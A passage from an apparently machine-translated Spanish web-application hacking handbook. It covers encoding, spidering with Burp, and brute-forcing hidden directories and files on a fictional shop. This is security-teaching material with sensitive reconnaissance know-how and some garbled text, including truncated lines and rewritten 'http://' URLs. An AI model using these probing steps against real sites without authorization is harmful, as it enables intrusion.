Por ejemplo, aquí está la forma codificada en Base64 del Manual del hacker de
aplicaciones web :
VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw==
Muchas aplicaciones web utilizan la codificación Base64 para transmitir datos binarios dentro
de cookies y otros parámetros, e incluso para ofuscar (es decir, ocultar) datos confidenciales para
evitar modificaciones triviales. Siempre debe buscar y descodificar cualquier dato Base64 que se
emita al cliente. Las cadenas codificadas en Base64 a menudo se pueden reconocer fácilmente
por su juego de caracteres específico y la presencia de caracteres de relleno al final de la cadena.
Codificación hexadecimal
Muchas aplicaciones usan codificación hexadecimal directa cuando transmiten datos binarios,
usando caracteres ASCII para representar el bloque hexadecimal.
Por ejemplo, la codificación hexadecimal del nombre de usuario "daf" dentro de una cookie daría como
resultado esto:
646166
Al igual que con Base64, los datos codificados en hexadecimal suelen ser fáciles de
detectar. Siempre debe intentar decodificar los datos que el servidor envía al cliente para
comprender su función.
Marcos de comunicación remota y serialización

En los últimos años, varios marcos han evolucionado para crear interfaces de usuario en las
que el código del lado del cliente puede acceder de forma remota a varias API programáticas
implementadas en el lado del servidor. Esto permite a los desarrolladores abstraerse
parcialmente de la naturaleza distribuida de las aplicaciones web y escribir código de una
manera más cercana al paradigma de una aplicación de escritorio convencional. Estos marcos
suelen proporcionar API de código auxiliar para su uso en el lado del cliente. También manejan
automáticamente tanto la comunicación remota de estas llamadas API a las funciones
relevantes del lado del servidor como la serialización de cualquier dato que se pase a esas funciones.
Ejemplos de estos tipos de marcos de comunicación remota y serialización incluyen los
siguientes:
n Flex y AMF
n Silverlight y WCF n
Objetos serializados de Java
Discutiremos las técnicas para trabajar con estos marcos y los tipos de problemas de
seguridad que pueden surgir en los Capítulos 4 y 5.
Próximos pasos
Hasta ahora, hemos descrito el estado actual de la (in)seguridad de las aplicaciones web,
examinado los mecanismos principales mediante los cuales las aplicaciones web pueden
defenderse y analizado brevemente las tecnologías clave empleadas en las aplicaciones actuales.
Con esta base establecida, ahora estamos en condiciones de comenzar a analizar los aspectos
prácticos reales de atacar aplicaciones web.
En cualquier ataque, su primera tarea es mapear el contenido y la funcionalidad de la
aplicación de destino para establecer cómo funciona, cómo intenta defenderse y qué
tecnologías utiliza. El próximo capítulo examina este proceso de mapeo en detalle y muestra
cómo puede usarlo para obtener una comprensión profunda de la superficie de ataque de una
aplicación. Este conocimiento será vital cuando se trata de encontrar y explotar fallas de
seguridad dentro de su objetivo.
Preguntas
1. ¿Para qué sirve el método OPCIONES ?
2. ¿Para qué se utilizan los encabezados If-Modified-Since e If-None-Match ?

¿Por qué podría estar interesado en estos al atacar una aplicación?
3. ¿Cuál es el significado de la bandera de seguridad cuando un servidor establece una cookie?

4. ¿Cuál es la diferencia entre los códigos de estado comunes 301 y 302?
5. ¿Cómo interactúa un navegador con un proxy web cuando se utiliza SSL?

¿usado?
Capítulo R
Mapeo de la aplicación
El primer paso en el proceso de atacar una aplicación es recopilar y

examinar información clave sobre ella para comprender mejor a qué se
enfrenta.
El ejercicio de mapeo comienza enumerando el contenido y la funcionalidad de la
aplicación para comprender qué hace la aplicación y cómo se comporta. Gran parte de
esta funcionalidad es fácil de identificar, pero parte de ella puede estar oculta, lo que
requiere cierto grado de conjetura y suerte para descubrirla.
Después de ensamblar un catálogo de la funcionalidad de la aplicación, la tarea principal
es examinar de cerca cada aspecto de su comportamiento, sus mecanismos de seguridad
centrales y las tecnologías que se emplean (tanto en el cliente como en el servidor). Esto
le permitirá identificar la superficie de ataque clave que expone la aplicación y, por lo tanto,
las áreas más interesantes en las que debe enfocarse en el sondeo subsiguiente para
encontrar vulnerabilidades explotables. A menudo, el ejercicio de análisis puede descubrir
vulnerabilidades por sí mismo, como se explica más adelante en este capítulo.
A medida que las aplicaciones se vuelven cada vez más grandes y funcionales, el mapeo efectivo
es una habilidad valiosa. Un experto experimentado puede evaluar rápidamente áreas completas de
funcionalidad, buscando clases de vulnerabilidades en lugar de instancias, mientras invierte un tiempo
significativo en probar otras áreas específicas, con el objetivo de descubrir un problema de alto riesgo.
Este capítulo describe los pasos prácticos que debe seguir durante el mapeo de
aplicaciones, varias técnicas y trucos que puede usar para maximizar su efectividad y
algunas herramientas que pueden ayudarlo en el proceso.
73
74 Capítulo 4 n Mapeo de la aplicación
Enumeración de contenido y funcionalidad

En una aplicación típica, la mayoría del contenido y la funcionalidad se pueden identificar a través
de la exploración manual. El enfoque básico es caminar a través de la aplicación desde la página
inicial principal, siguiendo cada enlace y navegando a través de todas las funciones de múltiples
etapas (como el registro de usuario o el restablecimiento de contraseña). Si la aplicación contiene
un "mapa del sitio", esto puede proporcionar un punto de partida útil para enumerar el contenido.
No obstante, para realizar una inspección rigurosa de los contenidos enumerados, y obtener
un registro exhaustivo de todo lo identificado, debe emplear técnicas más avanzadas que la
simple navegación.
Telaraña
Varias herramientas pueden realizar rastreo automático de sitios web. Estas herramientas
funcionan solicitando una página web, analizándola en busca de enlaces a otro contenido,
solicitando estos enlaces y continuando recursivamente hasta que no se descubre contenido nuevo.
Sobre la base de esta función básica, las arañas de aplicaciones web intentan lograr un mayor
nivel de cobertura analizando también formularios HTML y enviándolos a la aplicación utilizando
varios valores preestablecidos o aleatorios. Esto puede permitirles recorrer la funcionalidad de
varias etapas y seguir la navegación basada en formularios (como cuando las listas desplegables
se usan como menús de contenido). Algunas herramientas también analizan JavaScript del lado
del cliente para extraer URL que apuntan a más contenido.
Hay numerosas herramientas gratuitas disponibles que hacen un trabajo decente al enumerar el
contenido y la funcionalidad de la aplicación, incluidas Burp Suite, WebScarab, Zed Attack Proxy
y CAT (consulte el Capítulo 20 para obtener más detalles).
SUGERENCIA Muchos servidores web contienen un archivo llamado robots.txt en la raíz web que
contiene una lista de URL que el sitio no desea que visiten las arañas web o que los motores de
búsqueda indexen. A veces, este archivo contiene referencias a funcionalidades sensibles, que
sin duda le interesa rastrear. Algunas herramientas de rastreo diseñadas para atacar aplicaciones
web verifican el archivo robots.txt y utilizan todas las URL que contiene como semillas en el
proceso de rastreo. En este caso, el archivo robots.txt puede ser contraproducente para la
seguridad de la aplicación web.
Este capítulo utiliza una aplicación ficticia, Extreme Internet Shopping (EIS), para
proporcionar ejemplos de acciones comunes de asignación de aplicaciones. La Figura
4-1 muestra a Burp Spider compitiendo contra EIS. Sin iniciar sesión, es posible mapear
el directorio /shop y dos artículos de noticias en el directorio /media . También tenga en
cuenta que el archivo robots.txt que se muestra en la figura hace referencia a los
directorios /mdsecportal y /site-old. Estos no están vinculados desde ninguna parte de la
aplicación y no serían indexados por una araña web que solo siguiera los enlaces del contenido publicado.
SUGERENCIA Las aplicaciones que emplean direcciones URL de estilo REST usan partes de la
ruta del archivo URL para identificar de forma única los datos y otros recursos utilizados dentro de la aplicación.
Capítulo 4 n Mapeo de la aplicación 75
(ver el Capítulo 3 para más detalles). La vista de la aplicación basada en URL de la

araña web tradicional es útil en estas situaciones. En la aplicación EIS, las rutas /
shop y /pub emplean direcciones URL de estilo REST, y rastrear estas áreas
proporciona fácilmente enlaces únicos a los elementos disponibles dentro de estas rutas.
Figura 4-1: Mapeo de parte de una aplicación usando Burp Spider
Aunque a menudo puede ser efectivo, este tipo de enfoque totalmente automatizado para la
enumeración de contenido tiene algunas limitaciones significativas: n Los mecanismos de
navegación inusuales (como menús creados dinámicamente y manejados usando código

JavaScript complicado) a menudo no son manejados adecuadamente por estas
herramientas, por lo que puede pasar por alto áreas enteras de una aplicación. n Vínculos
enterrados dentro de objetos compilados del lado del cliente como Flash o Java
los applets no pueden ser recogidos por una araña.
n La funcionalidad de varias etapas a menudo implementa comprobaciones de validación de

entrada detalladas , que no aceptan los valores que puede enviar una herramienta
automatizada. Por ejemplo, un formulario de registro de usuario puede contener campos
para nombre, dirección de correo electrónico, número de teléfono y código postal. un automatizado
application spider generalmente envía una sola cadena de prueba en cada campo de
formulario editable, y la aplicación devuelve un mensaje de error que dice que uno o más de
los elementos enviados no son válidos. Debido a que la araña no es lo suficientemente
inteligente para comprender y actuar sobre este mensaje, no pasa del formulario de registro
y, por lo tanto, no descubre más contenido o funciones accesibles más allá de este. n Las
arañas automáticas suelen utilizar direcciones URL como identificadores de contenido único.
Para evitar seguir arañando indefinidamente, reconocen cuando ya se ha solicitado contenido

enlazado y no lo vuelven a solicitar. Sin embargo, muchas aplicaciones utilizan la navegación
basada en formularios en los que la misma URL puede devolver contenido y funciones muy
diferentes. Por ejemplo, una aplicación bancaria puede implementar cada acción del usuario
a través de una solicitud POST a /account.jsp y usar parámetros para comunicar la acción
que se está realizando. Si una araña se niega a realizar múltiples solicitudes a esta URL,
perderá la mayor parte del contenido de la aplicación. Algunas arañas de aplicaciones
intentan manejar esta situación. Por ejemplo, Burp Spider se puede configurar para
individualizar los envíos de formularios en función de los nombres y valores de los parámetros.
Sin embargo, aún puede haber situaciones en las que un enfoque completamente
automatizado no sea completamente efectivo. Discutimos enfoques para mapear este tipo
de funcionalidad más adelante en este capítulo. n A la inversa del punto anterior, algunas
aplicaciones colocan datos volátiles dentro de las URL que en realidad no se usan para
identificar recursos o funciones (por ejemplo, parámetros que contienen temporizadores o
semillas de números aleatorios). Cada página de la aplicación puede contener lo que parece
ser un nuevo conjunto de URL que la araña debe solicitar, lo que hace que continúe
ejecutándose indefinidamente. n Cuando una aplicación utiliza autenticación, una araña de
aplicación efectiva debe poder manejar esto para acceder a la funcionalidad que protege la
autenticación. Las arañas mencionadas anteriormente pueden lograr esto configurando
manualmente la araña con un token para una sesión autenticada o con credenciales para
enviar a la función de inicio de sesión. Sin embargo, incluso cuando se hace esto, es común
encontrar que la operación de la araña interrumpe la sesión autenticada por varias razones:
n Al seguir todas las URL, en algún momento la araña solicitará el cierre de sesión
función, causando que su sesión se interrumpa.
n Si la araña envía una entrada no válida a una función confidencial, la aplicación puede
terminar la sesión de forma defensiva. n Si la aplicación usa tokens por página, es casi
seguro que la araña no podrá manejarlos correctamente al solicitar páginas fuera de la
secuencia esperada, lo que probablemente provocará la terminación de toda la sesión.
ADVERTENCIA En algunas aplicaciones, ejecutar incluso una simple araña

web que analiza y solicita enlaces puede ser extremadamente peligroso. Por
ejemplo, una aplicación puede contener funciones administrativas que eliminan
usuarios, cierran una base de datos, reinician el servidor, etc. Si se usa una araña
consciente de la aplicación, se puede causar un gran daño si la araña descubre y
usa funcionalidad sensible. Los autores encontraron una aplicación que incluía
alguna funcionalidad del Sistema de gestión de contenido (CMS) para editar el
contenido de la aplicación principal. Esta funcionalidad se podía descubrir a través
del mapa del sitio y no estaba protegida por ningún control de acceso. Si se
ejecutara una araña automatizada en este sitio, encontraría la función de edición y
comenzaría a enviar datos arbitrarios, lo que provocaría que el sitio web principal se desfigurara en tiemp
Spidering dirigido por el usuario

Esta es una técnica más sofisticada y controlada que generalmente es preferible al
spidering automatizado. Aquí, el usuario recorre la aplicación de forma normal
utilizando un navegador estándar, intentando navegar a través de todas las funciones
de la aplicación. Mientras lo hace, el tráfico resultante pasa a través de una
herramienta que combina un proxy interceptor y una araña, que monitorea todas las
solicitudes y respuestas. La herramienta construye un mapa de la aplicación,
incorporando todas las URL visitadas por el navegador. También analiza todas las
respuestas de la aplicación de la misma manera que una araña consciente de la
aplicación normal y actualiza el mapa del sitio con el contenido y la funcionalidad que
descubre. Las arañas dentro de Burp Suite y WebScarab se pueden usar de esta
manera (consulte el Capítulo 20 para obtener más información).
En comparación con el enfoque básico de spidering, esta técnica ofrece numerosos beneficios:
n Cuando la aplicación utilice mecanismos de navegación inusuales o complejos, el

usuario podrá seguirlos utilizando un navegador de la forma habitual. Cualquier
función y contenido al que accede el usuario son procesados por la herramienta
proxy/spider. n El usuario controla todos los datos enviados a la aplicación y puede garantizar
que se cumplen los requisitos de validación de datos.
n El usuario puede iniciar sesión en la aplicación de la forma habitual y asegurarse de que la

sesión autenticada permanezca activa durante todo el proceso de mapeo. Si alguna acción
realizada resulta en la finalización de la sesión, el usuario puede iniciar sesión nuevamente
y continuar navegando. n Cualquier funcionalidad peligrosa, como deleteUser.jsp, se
enumera e incorpora por completo en el mapa del sitio del proxy, ya que los enlaces a él se
analizarán fuera de las respuestas de la aplicación. Pero el usuario puede usar su
discreción para decidir qué funciones solicitar o llevar a cabo realmente.
En el sitio Extreme Internet Shopping, antes era imposible que la araña

indexara cualquier contenido dentro de /home, porque este contenido está autenticado.
Las solicitudes a /home dan como resultado esta respuesta:
HTTP/1.1 302 Movido temporalmente

Fecha: lunes, 24 de enero de 2011 16:13:12 GMT
Servidor: Apache
Ubicación: /auth/Login?ReturnURL=/home/
Con el spidering dirigido por el usuario, el usuario simplemente puede iniciar sesión en la aplicación usando
su navegador, y la herramienta proxy/spider toma la sesión resultante e identifica todo el contenido adicional
ahora disponible para el usuario. La Figura 4-2 muestra el mapa del sitio EIS cuando el usuario se ha autenticado
con éxito en las áreas protegidas de la aplicación.
Figura 4-2: Mapa del sitio de Burp después de realizar una búsqueda guiada por el usuario
Esto revela algunos recursos adicionales dentro del sistema de menú de inicio. La figura muestra una
referencia a un perfil privado al que se accede a través de una función de JavaScript iniciada con el controlador
de eventos onClick:
<a href=”#” onclick=”ui_nav('perfil')”>perfil privado</a>

Es probable que una araña web convencional que simplemente sigue enlaces dentro de
HTML pase por alto este tipo de enlace. Incluso los rastreadores de aplicaciones automatizados
más avanzados van a la zaga de los numerosos mecanismos de navegación empleados por
las aplicaciones y extensiones de navegador actuales. Sin embargo, con el spidering dirigido
por el usuario, el usuario simplemente necesita seguir el enlace visible en pantalla usando su
navegador, y la herramienta proxy/spider agrega el contenido resultante al mapa del sitio.
Por el contrario, tenga en cuenta que la araña ha identificado con éxito el enlace a /core/
sitestats contenido en un comentario HTML, aunque este enlace no se muestra en pantalla al
usuario.
SUGERENCIA Además de las herramientas proxy/spider que se acaban de

describir, otra variedad de herramientas que suelen ser útiles durante el mapeo
de aplicaciones son las diversas extensiones del navegador que pueden realizar
análisis HTTP y HTML desde la interfaz del navegador. Por ejemplo, la herramienta
IEWatch que se muestra en la Figura 4-3, que se ejecuta en Microsoft Internet Explorer,
supervisa todos los detalles de las solicitudes y respuestas, incluidos los encabezados,
los parámetros de solicitud y las cookies. Analiza cada página de la aplicación para
mostrar enlaces, scripts, formularios y componentes de cliente pesado. Por supuesto,
toda esta información se puede ver en su proxy de interceptación, pero tener un
segundo registro de datos de mapeo útiles solo puede ayudarlo a comprender mejor la
aplicación y enumerar todas sus funciones. Consulte el Capítulo 20 para obtener más información sobre herra
Figura 4-3: IEWatch realizando análisis HTTP y HTML desde el navegador

PASOS DE HACK
1. Configure su navegador para usar Burp o WebScarab como un proxy local

(consulte el Capítulo 20 para obtener detalles específicos sobre cómo hacer esto si no está seguro).
2. Navegue por toda la aplicación normalmente, intentando visitar cada enlace/URL

que descubra, enviando cada formulario y procediendo a través de todas las
funciones de varios pasos hasta completarlas. Prueba a navegar con JavaScript
habilitado y deshabilitado, y con las cookies habilitadas y deshabilitadas. Muchas
aplicaciones pueden manejar varias configuraciones de navegador, y puede llegar
a diferentes rutas de contenido y código dentro de la aplicación.
3. Revise el mapa del sitio generado por la herramienta proxy/spider e identifique

cualquier contenido o función de la aplicación que no haya explorado manualmente.
Establezca cómo la araña enumeró cada elemento. Por ejemplo, en Burp
Spider, verifique los detalles de Vinculado desde. Usando su navegador, acceda
al elemento manualmente para que la respuesta del servidor sea analizada por la
herramienta proxy/spider para identificar cualquier contenido adicional. Continúe
este paso recursivamente hasta que no se identifique más contenido o funcionalidad.
4. Opcionalmente, dígale a la herramienta que rastree activamente el sitio utilizando

todo el contenido ya enumerado como punto de partida. Para hacer esto, primero
identifique cualquier URL que sea peligrosa o que pueda interrumpir la sesión de
la aplicación y configure la araña para excluirlas de su alcance. Ejecute la araña
y revise los resultados de cualquier contenido adicional que descubra.
El mapa del sitio generado por la herramienta proxy/spider contiene una gran
cantidad de información sobre la aplicación de destino, que será útil más adelante
para identificar las diversas superficies de ataque expuestas por la aplicación.
Descubriendo contenido oculto

Es común que las aplicaciones incluyan contenido y funcionalidad que no
está directamente vinculado o accesible desde el contenido visible principal.
Un ejemplo común es la funcionalidad que se implementó con fines de prueba
o depuración y nunca se eliminó.
Otro ejemplo surge cuando la aplicación presenta una funcionalidad diferente para
diferentes categorías de usuarios (por ejemplo, usuarios anónimos, usuarios regulares
autenticados y administradores). Los usuarios en un nivel de privilegio que realizan
una exploración exhaustiva de la aplicación pueden perder la funcionalidad que es
visible para los usuarios en otros niveles. Un atacante que descubra la funcionalidad
puede explotarla para elevar sus privilegios dentro de la aplicación.
Hay muchos otros casos en los que puede existir contenido y funcionalidad
interesantes que las técnicas de mapeo descritas anteriormente no identificarían:
n Copias de seguridad de archivos en vivo. En el caso de páginas dinámicas, su extensión de
archivo puede haber cambiado a una que no está asignada como ejecutable, permitiéndole
para revisar la fuente de la página en busca de vulnerabilidades que luego puedan explotarse
en la página en vivo. n Archivos de copia de seguridad que contienen una instantánea
completa de los archivos dentro (o incluso fuera) de la raíz web, lo que posiblemente le permita
identificar fácilmente todo el contenido y la funcionalidad dentro de la aplicación.
n Nueva funcionalidad que se ha implementado en el servidor para probar pero no

aún vinculado desde la aplicación principal.
n Funcionalidad de aplicación predeterminada en una aplicación lista para usar que se

ha ocultado superfi cialmente al usuario pero que todavía está presente en el servidor.
n Versiones antiguas de archivos que no se han eliminado del servidor. En el caso de las
páginas dinámicas, estas pueden contener vulnerabilidades que han sido corregidas
en la versión actual pero que aún pueden ser explotadas en la versión anterior. n
Configuración e inclusión de archivos que contienen datos confidenciales, como bases de datos
cartas credenciales.
n Archivos de origen de los que se ha extraído la funcionalidad de la aplicación en vivo.

compilado
n Comentarios en el código fuente que, en casos extremos, pueden contener información como
nombres de usuario y contraseñas, pero que probablemente proporcionen información sobre
el estado de la aplicación. Frases clave como "probar esta función" o algo similar son fuertes
indicadores de dónde empezar a buscar vulnerabilidades.
n Archivos de registro que pueden contener información confidencial, como nombres de usuario
válidos, tokens de sesión, URL visitadas y acciones realizadas.
El descubrimiento efectivo de contenido oculto requiere una combinación de técnicas automatizadas

y manuales y, a menudo, depende de un grado de suerte.
Técnicas de fuerza bruta

El Capítulo 14 describe cómo se pueden aprovechar las técnicas automatizadas para acelerar casi
cualquier ataque contra una aplicación. En el contexto actual de recopilación de información, la
automatización se puede utilizar para realizar un gran número de solicitudes al servidor web,
intentando adivinar los nombres o identificadores de la funcionalidad oculta.
Por ejemplo, suponga que su rastreo dirigido por el usuario ha identificado el siguiente contenido
de la aplicación:
http://eis/auth/Iniciar sesión
http://eis/auth/Olvidé mi contraseña
http://eis/home/
http://eis/pub/media/100/view
http://eis/images/eis.gif
http://eis/include/eis.css
El primer paso en un esfuerzo automatizado para identificar contenido oculto podría

implicar las siguientes solicitudes para localizar directorios adicionales:
http://eis/About/ http://eis/
abstract/ http://eis/academics/
http://eis/accessibility/ http://eis/
accounts/ http://eis/action/
...
Burp Intruder se puede usar para recorrer una lista de nombres de directorios comunes y capturar
detalles de las respuestas del servidor, que se pueden revisar para identificar directorios válidos. La
Figura 4-4 muestra la configuración de Burp Intruder para sondear directorios comunes que residen
en la raíz web.
Figura 4-4: Burp Intruder configurado para buscar directorios comunes

Cuando se ha ejecutado el ataque, al hacer clic en los encabezados de las columnas, como
"estado" y "longitud", se ordenan los resultados en consecuencia, lo que le permite identificar
rápidamente una lista de posibles recursos adicionales, como se muestra en la Figura 4-5.
Al tener directorios y subdirectorios de fuerza bruta, es posible que desee encontrar páginas
adicionales en la aplicación. De particular interés es el directorio /auth que contiene el recurso de inicio
de sesión identificado durante el proceso de rastreo, que probablemente sea un buen punto de partida
para un atacante no autenticado.
Nuevamente, puede solicitar una serie de archivos dentro de este directorio:
http://eis/auth/About/ http://eis/
auth/Aboutus/ http://eis/auth/AddUser/
http://eis/auth/Admin/ http://eis/auth/
Administration/ http://eis/auth/
Administradores/
...
Figura 4-5: Burp Intruder mostrando los resultados de un ataque de fuerza bruta de directorio
La Figura 4-6 muestra los resultados de este ataque, que identificó varios recursos
dentro del directorio /auth :
Acceso
Cerrar sesión
Registro
Perfil
Tenga en cuenta que la solicitud de perfil devuelve el código de estado HTTP 302.
Esto indica que acceder a este enlace sin autenticación redirige al usuario a la página
de inicio de sesión. De mayor interés es que, aunque la página de inicio de sesión se
descubrió durante el rastreo, la página de registro no lo fue. Podría ser que esta
funcionalidad adicional esté operativa y un atacante podría registrar una cuenta de
usuario en el sitio.
Figura 4-6: Burp Intruder mostrando los resultados de un ataque de fuerza bruta a un archivo
NOTA No asuma que la aplicación responderá con 200 OK si existe un recurso solicitado y 404
Not Found si no existe. Muchas aplicaciones manejan las solicitudes de recursos inexistentes
de forma personalizada, a menudo devolviendo un mensaje de error personalizado y un código
de respuesta 200. Además, algunas solicitudes de recursos existentes pueden recibir una
respuesta que no sea 200. La siguiente es una guía aproximada del significado probable de los
códigos de respuesta que puede encontrar durante un ejercicio de fuerza bruta en busca de
contenido oculto:
n 302 Encontrado: si la redirección es a una página de inicio de sesión, el recurso puede estar
accesible solo por usuarios autenticados. Si la redirección es a un mensaje de error, esto
puede indicar una razón diferente. Si es a otra ubicación, la redirección puede ser parte de
la lógica prevista de la aplicación y esto debe investigarse más a fondo.
n 400 Solicitud incorrecta: la aplicación puede usar un esquema de nombres personalizado

para directorios y archivos dentro de URL, que una solicitud en particular no ha cumplido.
Sin embargo, lo más probable es que la lista de palabras que está utilizando contenga
algunos espacios en blanco u otra sintaxis no válida. n 401 No autorizado o 403 Prohibido:
esto generalmente indica que el recurso solicitado existe, pero ningún usuario puede acceder
a él.
independientemente del estado de autenticación o el nivel de privilegio. Suele ocurrir

cuando se solicitan directorios y puede inferir que el directorio existe. n 500 Error
interno del servidor: durante el descubrimiento de contenido, esto generalmente indica

que la aplicación espera que se envíen ciertos parámetros al solicitar el recurso.
Las diversas respuestas posibles que pueden indicar la presencia de contenido interesante
significan que es difícil escribir un script completamente automatizado para generar una lista
de recursos válidos. El mejor enfoque es capturar la mayor cantidad de información posible
sobre las respuestas de la aplicación durante el ejercicio de fuerza bruta y revisarlo
manualmente.
PASOS DE HACK
1. Realizar algunas solicitudes manuales de recursos conocidos válidos e inválidos, y

identificar cómo el servidor maneja esto último.
2. Utilice el mapa del sitio generado a través de la araña dirigida por el usuario como base para
descubrimiento automatizado de contenido oculto.
3. Realice solicitudes automatizadas de nombres de archivo y directorios comunes

dentro de cada directorio o ruta que se sabe que existe dentro de la aplicación.
Utilice Burp Intruder o un script personalizado, junto con listas de palabras de
archivos y directorios comunes, para generar rápidamente un gran número de
solicitudes. Si ha identificado una forma particular en la que la aplicación maneja las
solicitudes de recursos no válidos (como una página personalizada de "archivo no
encontrado"), configure Intruder o su secuencia de comandos para resaltar estos resultados para que puedan
4. Capture las respuestas recibidas del servidor y revíselas manualmente para

identificar recursos válidos.
5. Realice el ejercicio recursivamente a medida que se descubre nuevo contenido.
Inferencia del contenido publicado
La mayoría de las aplicaciones emplean algún tipo de esquema de nombres para su

contenido y funcionalidad. Al inferir de los recursos ya identificados dentro de la aplicación,
es posible ajustar su ejercicio de enumeración automatizado para aumentar la probabilidad
de descubrir más contenido oculto.
En la aplicación EIS, tenga en cuenta que todos los recursos en /auth comienzan con una letra mayúscula.
Esta es la razón por la cual la lista de palabras utilizada en el archivo de fuerza bruta en la
sección anterior fue deliberadamente en mayúsculas. Además, dado que ya hemos
identificado una página llamada ForgotPassword en el directorio /auth , podemos buscar
elementos con nombres similares, como los siguientes:
http://eis/auth/ResetPassword
Además, el mapa del sitio creado durante el rastreo dirigido por el usuario identifi cado
estos recursos:
http://eis/pub/media/100 http://eis/pub/
media/117 http://eis/pub/user/11
Es probable que otros valores numéricos en un rango similar identifiquen más recursos
e información.
SUGERENCIA Burp Intruder es altamente personalizable y se puede utilizar para dirigirse

a cualquier parte de una solicitud HTTP. La figura 4-7 muestra el uso de Burp Intruder para
realizar un ataque de fuerza bruta en la primera mitad de un nombre de archivo para realizar las solicitudes:
http://eis/auth/AddPassword http://eis/auth/
ForgotPassword http://eis/auth/GetPassword
http://eis/auth/ResetPassword http://eis/auth/
RetrievePassword http://eis /auth/Actualizar
contraseña
...
Figura 4-7: Burp Intruder se utiliza para realizar un ataque de fuerza bruta personalizado en parte de
un nombre de archivo
PASOS DE HACK
1. Revise los resultados de su navegación dirigida por el usuario y fuerza bruta básica
ejercicios. Compile listas de los nombres de todos los subdirectorios enumerados,
raíces de archivos y extensiones de archivos.
2. Revise estas listas para identificar cualquier esquema de nombres en uso. Por ejemplo,
si hay páginas llamadas AddDocument.jsp y ViewDocument.jsp, también puede haber
páginas llamadas EditDocument.jsp y RemoveDocument.jsp.
A menudo, puede tener una idea de los hábitos de nombres de los desarrolladores
con solo leer algunos ejemplos. Por ejemplo, según su estilo personal, los
desarrolladores pueden ser detallados (AddANewUser.asp), sucintos (AddUser.asp),
usar abreviaturas (AddUsr.asp) o incluso ser más crípticos (AddU.asp). Tener una idea
de los estilos de nombres en uso puede ayudarlo a adivinar los nombres precisos del
contenido que aún no ha identificado.
3. A veces, el esquema de nombres utilizado para diferentes contenidos emplea

identificadores como números y fechas, que pueden facilitar la inferencia de
contenido oculto. Esto se encuentra más comúnmente en los nombres de recursos
estáticos, en lugar de secuencias de comandos dinámicas. Por ejemplo, si el sitio
web de una empresa tiene un enlace a AnnualReport2009.pdf y AnnualReport2010.pdf,
debe ser un paso corto para identificar cómo se llamará el próximo informe.
Increíblemente, ha habido casos notorios de empresas que colocan archivos que
contienen informes financieros en sus servidores web antes de que se anunciaran
públicamente, solo para que los astutos periodistas los descubran basándose en el
esquema de nombres utilizado en años anteriores.
4. Revise todo el código del lado del cliente, como HTML y JavaScript, para identificar
cualquier pista sobre el contenido oculto del lado del servidor. Estos pueden incluir
comentarios HTML relacionados con funciones protegidas o no vinculadas,
formularios HTML con elementos SUBMIT deshabilitados y similares. A menudo, los
comentarios son generados automáticamente por el software que se ha utilizado para
generar contenido web o por la plataforma en la que se ejecuta la aplicación. Las
referencias a elementos como los archivos de inclusión del lado del servidor son de
particular interés. Estos archivos pueden en realidad ser descargables públicamente
y pueden contener información altamente confidencial, como cadenas de conexión de
bases de datos y contraseñas. En otros casos, los comentarios de los desarrolladores
pueden contener todo tipo de datos útiles, como nombres de bases de datos,
referencias a componentes de back-end, cadenas de consulta SQL, etc. Los
componentes de cliente pesado, como los subprogramas de Java y los controles
ActiveX, también pueden contener datos confidenciales que puede extraer. Consulte el
Capítulo 15 para conocer más formas en que la aplicación puede divulgar información sobre sí misma.
Continuado
PASOS DE HACK (continuación)
5. Agregar a las listas de elementos enumerados cualquier posible nombre adicional con
proyectado sobre la base de los elementos que ha descubierto. También agregue
a la lista de extensiones de archivo extensiones comunes como txt, bak, src, inc y
old, que pueden descubrir el origen de las versiones de copia de seguridad de las páginas activas.
Agregue también extensiones asociadas con los lenguajes de desarrollo en uso,
como .java y .cs, que pueden descubrir archivos de origen que se compilaron en
páginas activas. (Consulte los consejos más adelante en este capítulo para
identificar las tecnologías en uso).
6. Busque archivos temporales que puedan haber sido creados sin darse cuenta por
las herramientas de desarrollo y los editores de archivos. Los ejemplos incluyen
el archivo .DS_Store, que contiene un índice de directorio en OS X, file.php~1,
que es un archivo temporal creado cuando se edita file.php, y la extensión de
archivo .tmp que utilizan numerosas herramientas de software.
7. Realice más ejercicios automatizados, combinando las listas de directorios, tallos

de archivos y extensiones de archivos para solicitar una gran cantidad de recursos
potenciales. Por ejemplo, en un directorio dado, solicite cada raíz de archivo
combinada con cada extensión de archivo. O solicite cada nombre de directorio
como un subdirectorio de cada directorio conocido.
8. Cuando se haya identificado un esquema de nomenclatura consistente, considere

realizar un ejercicio de fuerza bruta más enfocado. Por ejemplo, si se sabe que
existen AddDocument .jsp y ViewDocument.jsp, puede crear una lista de acciones
(editar, eliminar, crear) y realizar solicitudes del formulario XxxDocument.jsp.
Alternativamente, cree una lista de tipos de elementos (usuario, cuenta, archivo) y
realice solicitudes del formulario AddXxx.jsp.
9. Realice cada ejercicio de forma recursiva, utilizando nuevos contenidos enumerados y

patrones como la base para más spidering dirigido por el usuario y más
descubrimiento de contenido automatizado. Solo está limitado por su imaginación,
el tiempo disponible y la importancia que le otorga a descubrir contenido oculto
dentro de la aplicación a la que se dirige.
NOTA Puede usar la función Content Discovery de Burp Suite Pro para automatizar la
mayoría de las tareas descritas hasta ahora. Después de haber mapeado manualmente el
contenido visible de una aplicación usando su navegador, puede seleccionar una o más
ramas del mapa del sitio de Burp e iniciar una sesión de descubrimiento de contenido en
esas ramas.
Burp utiliza las siguientes técnicas cuando intenta descubrir nuevos

contenido:
n Fuerza bruta usando listas integradas de archivos comunes y nombres de

directorios n Generación dinámica de listas de palabras basadas en nombres de
recursos observados dentro de la aplicación de destino n Extrapolación de
nombres de recursos que contienen números y fechas
n Pruebas de extensiones de archivo alternativas en recursos identifi
cados n Spidering del contenido descubierto n Huellas dactilares
automáticas de respuestas válidas e inválidas para reducir respuestas falsas

positivos
Todos los ejercicios se llevan a cabo de forma recursiva, y se programan nuevas

tareas de descubrimiento a medida que se descubre nuevo contenido de la aplicación. La
